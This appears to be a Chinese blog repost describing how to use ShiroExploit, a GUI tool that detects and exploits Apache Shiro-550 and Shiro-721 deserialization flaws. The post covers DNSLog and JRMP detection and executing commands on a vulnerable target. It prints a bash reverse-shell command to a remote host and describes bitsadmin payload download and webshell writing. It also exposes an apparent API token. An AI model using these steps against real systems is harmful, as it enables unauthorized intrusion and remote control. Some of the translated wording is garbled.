首页 渗透工具 正文
  • 本文约1998字,阅读需10分钟
  • 7349
  • 0

ShiroExploit v2.5 图形化利用工具

2019.9.20更新:

对回显方式进行了一次更新,希望现在能好用一点

2020.9.12更新:

很多回显方式在本地测试OK,但是在实际环境中却不行,这个问题我不知道该怎么解决,希望有师傅可以指导下或者一起讨论下。

ShiroExploit

支持对Shiro550(硬编码秘钥)和Shiro721(Padding Oracle)的一键化检测,支持多种回显方式

项目地址

GitHub:https://github.com/feihong-cs/ShiroExploit

下载地址

https://github.com/feihong-cs/ShiroExploit

 

使用说明

初步:按要求输入要检测的目标URL和选择突破类型

  • Shiro550无需提供rememberMe Cookie,Shiro721需要提供一个有效的rememberMe Cookie
  • 可以手工指定特定的Key / Gadget / EchoType(支持多选),如果不指定会遍历所有的Key / Gadget / EchoType
  • 复杂Http请求支持直接粘贴数据包 图片1

第二步:选择攻击方式

图片2

选择 使用 ceye.io 进行漏洞检测

  • 可以不进行任何配置,配置文件中已经预先了CEYE域名和对应的Token,当然也可以进行进行修改。
  • 程序会首先使用反序列化SimplePrincipalCollection的方式筛选出唯一Key,然后依次调用各个Gadget生成有效载荷
  • 缺点:程序会使用API​​:http : //api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID ]查询检测结果,此API有时会无法正常访问,从而以这种方式下无法访问找到Key或有效的Gadget

选择 使用 dnslog.cn 进行漏洞检测

  • 可以不进行任何配置,每次启动时程序会自动从dnslog.cn申请一个DNS记录。
  • 程序会首先使用反序列化SimplePrincipalCollection的方式筛选出唯一Key,然后依次调用各个Gadget生成有效载荷
  • 缺点:少数时候dnslog.cn会间隔较久才显示DNS解析结果导致程序无法找到密钥或有效的小工具,并且dnslog.cn只会记录最近的10条DNS解析记录

选择 使用 JRMP + dnslog 进行漏洞检测

  • 需要在VPS上通过命令java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]开启HttpService / JRMPListener,并按照要求填入相应的IP和端口
  • 如果开启HttpService / JRMPListener时未指定端口号,则HTTPService可以切换监听8080端口,JRMPListener而是监听8088端口
  • 使用JRMP的方式进行突破检测,可以显着引入Cookie大小
  • 程序会首先使用反序列化SimplePrincipalCollection的方式筛选出JRMP唯一键,然后使用依次为各个小工具生成对应的JRMPListener

选择 使用回显进行漏洞检测

  • 针对不出网的情况进行突破检测,此时可以检测的Gadget类型会替换使用DNSLog方式的Gadget类型
  • 程序会首先使用反序列化SimplePrincipalCollection的方式筛选出唯一Key,然后依次判断可用的Gadget类型和回显方式
  • 支持多种回显方式,回显方式和代码请参考deserizationEcho
  • 使用写文件回显方式,可以提供一个静态资源URL,程序会初始化静态资源所在的目录当做写入目录,若不提供,则写入根目录
  • 测试vulhub拉取的通用及Windows下用Tomcat搭建的测试环境,结果如下 回声1 回声2

第三步:检测突破并执行命令

  • 当程序检测到目标应用存在裂缝时,输入框可以进行输入并执行命令。
  • 反弹shell(linux)采用bash -i >& /dev/tcp/1.2.3.4/443 0>&1的方式反弹shell
  • 反弹shell(Windows)采用bitsadmin下载指定URL的exe文件并执行的方式获取shell
  • 获取Webshell 直接在用户指定的路径(目录需要真实存在)下写入webshel​​l,webshel​​l名称和后缀名由用户自行指定,webshel​​l的内容从配置目录下的shell.jsp中读取 图片3

备注

在使用HttpService / JRMPListener时,均需要ysoserial.jar的支持,将ysoserial.jar和ShiroExploit.jar放在同一目录即可。

标签:ShiroExploit
温馨提示:本文最后更新于2020年9月23日 15:07,若内容或图片失效,请在下方留言或联系博主。
评论
更换验证码